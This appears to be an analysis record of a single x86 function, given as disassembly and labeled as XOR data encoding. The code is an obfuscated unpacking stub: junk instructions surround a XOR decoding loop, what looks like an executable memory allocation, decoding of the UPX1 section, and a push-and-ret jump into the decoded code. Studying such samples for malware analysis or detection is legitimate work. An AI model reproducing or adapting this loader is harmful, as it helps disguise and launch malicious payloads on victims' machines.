Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf4aa174d
add ebx, eax
sub eax, 0x5cdf2d2c
popal
sub ebx, 0x45bc9e45
mov ebx, 0x354b0c57
sub eax, 0xf232dd18
mov edx, 0
mov ecx, esi
add eax, eax
mov edi, 0x61ab2ffe
sub eax, edi
mov ebx, ecx
sub eax, 0xdfe76848
sub edi, eax
mov esi, ebx
mov edi, 0x360ddb06
not edi
add edx, 1
or eax, eax
mov edi, 0xf76da8d6
cmp edx, 0x100831e
jne 0xa789d1
mov edi, 0xecdc6358
mov edi, eax
add edi, edi
mov eax, 0x80d900ee
mov ebx, eax
add ebx, ebx
mov eax, 0xa78796
sub esi, edi
mov edi, 0x6cf9bb65
inc edi
mov ecx, 0xa7898a
add edx, edi
sub esi, edx
dec edi
mov ebx, dword [eax]
dec esi
not esi
mov edi, esi
and ebx, 0xff
add esi, 0x2d792de8
mov edx, edi
mov esi, edx
xor dword [ecx], ebx
not edx
and edi, esi
sub esi, 0x6c1ddc4d
inc ecx
sub esi, edx
dec edx
or esi, esi
inc eax
add edx, edi
mov edx, edi
cmp ecx, entry0
jl 0xa78a31
sub edx, esi
and edx, edi
not edi
sub edi, esi
mov esi, edi
add esi, 1
sub ebx, ecx
and ebx, ebx
mov edi, 0xa7898e
mov ebx, 0xe8ab49cd
sub edx, 0xca261274
add ebx, esi
mov edi, dword [edi]
or ebx, ebx
sub ebx, 0x92b30347
sub ebx, 0x151fb301
mov edi, dword [edi]
not ecx
mov esi, 0xf27502a1
or ebx, ecx
push edi
sub esi, edx
sub esi, 0x78e5778e
mov ecx, ebx
mov edi, 0xa7898a
and ebx, esi
dec ebx
mov edi, dword [edi]
add edx, ebx
and ebx, ecx
mov edi, dword [edi]
and edx, ecx
or ecx, ecx
not esi
push 0xa78992
and ebx, ecx
mov esi, ebx
mov esi, ecx
call edi
sub edx, 0x51c35596
and ecx, edx
pop edi
mov esi, 0xef6b3d1b
add ecx, 0x41626a6c
sub ecx, edx
push 0xa7899f
or edx, edx
mov esi, ecx
push eax
or ebx, ecx
sub edx, ebx
call edi
and esi, ecx
add ecx, esi
sub esp, 4
mov dword [esp], 0x40
mov esi, ebx
and ecx, edx
or edx, ebx
push 0x3000
sub esi, 1
add esi, esi
push 0x2000015c
not esi
add edx, ebx
sub esp, 4
mov dword [esp], 0
dec esi
add ebx, edx
call eax
add edx, 0x3e566cf5
and edx, ebx
sub ecx, esi
add eax, 0x200000f3
and ecx, ebx
inc ecx
mov edi, 0xcc994145
inc ecx
sub ecx, edx
mov dword [eax], edi
add edx, ecx
dec esi
sub esi, 0xa1a63b8d
mov edi, dword [eax]
or ebx, ebx
mov ecx, 0xe268615c
add edx, 1
cmp edi, 0xcc994145
je 0xa78b7d
mov edx, 0
mov dword [edx], eax
or ecx, ebx
sub ecx, 0xbb7204fc
or ebx, ecx
and esi, ecx
or ecx, ebx
mov ebx, 0x73b7ff78
inc eax
mov esi, section.UPX1
sub ebx, 0x2d168fe4
sub ebx, 0xff70f6b0
mov edi, 0xa78795
dec eax
or ebx, eax
mov ecx, 0
sub eax, 0xa8e9c151
add ebx, 0x6342f758
dec eax
mov edx, 0xa78796
or eax, eax
sub eax, ebx
sub eax, 0x47643805
lea edx, [edx + ecx]
sub ebx, eax
mov eax, 0x8162793d
mov edx, dword [edx]
add eax, 0x75cc3eb9
mov ebx, eax
mov eax, ebx
and edx, 0xff
and eax, eax
mov eax, ebx
inc ecx
sub ebx, 0x5391b91c
not ebx
cmp ecx, 0x1f4
jne 0xa78c01
mov ecx, 0
not eax
inc eax
and ebx, ebx
add eax, eax
or ebx, ebx
xor dword [esi], edx
inc ebx
not eax
add esi, 2
add eax, 0x1bcc65f2
sub ebx, eax
not eax
cmp esi, edi
jl 0xa78bbc
not eax
add eax, 1
sub eax, 0xa30029ce
and eax, eax
mov ebx, 0x8152494d
mov eax, section.UPX1
sub edx, 0x1d630a6d
or ebx, ebx
or ebx, edx
mov edi, section.UPX1
sub ebx, 0x8efdded1
sub edx, 0xd08cf362
mov esi, 0xa78795
mov edx, ebx
add edx, edx
mov ecx, 0
sub ebx, 0x1645bddb
and edx, ebx
mov cl, byte [edi]
mov edx, ebx
add ebx, ebx
mov byte [eax], cl
inc edx
inc ebx
inc eax
mov edx, ebx
mov ebx, edx
and ebx, ebx
add edi, 2
mov edx, 0x82291ca0
or edx, edx
cmp edi, esi
jle 0xa78c72
or edx, edx
and ebx, edx
dec eax
add eax, 0xd9c1fe55
mov ebx, 0x82e1849f
push 0x8dc6a0
mov eax, ebx
not eax
dec eax
ret